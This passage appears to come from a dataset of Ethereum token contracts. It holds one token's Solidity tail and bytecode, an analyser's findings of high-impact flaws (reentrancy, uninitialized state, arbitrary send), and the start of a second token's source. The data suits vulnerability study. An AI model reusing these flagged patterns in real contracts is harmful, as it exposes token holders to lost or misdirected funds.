return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600981526020017f5348494241204441440000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5348494220444144000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cba4f9233bbfab6d93d8af569b464bd2a05badba037795326335946f4cee53e064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 613 |
0x8c754d3d35374ce3fad7dee9eed102068a263a85 | /*
We have provided the tools, now the choice is yours
The power to choose is said to be a basic human right, whereas death is a natural occurrence.
The only things that is different between a living human being and a dead one are their prior choices.
One can choose a path that keeps one's self alive one extra day, whereas another can choose a path that leads to one's death.
Life presents many choices, the choices we make determine our future - Catherine Pulsifer
TOKENOMICS
5% Buy
5% Sell
1% Max buy
3% Max wallet
For the community
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
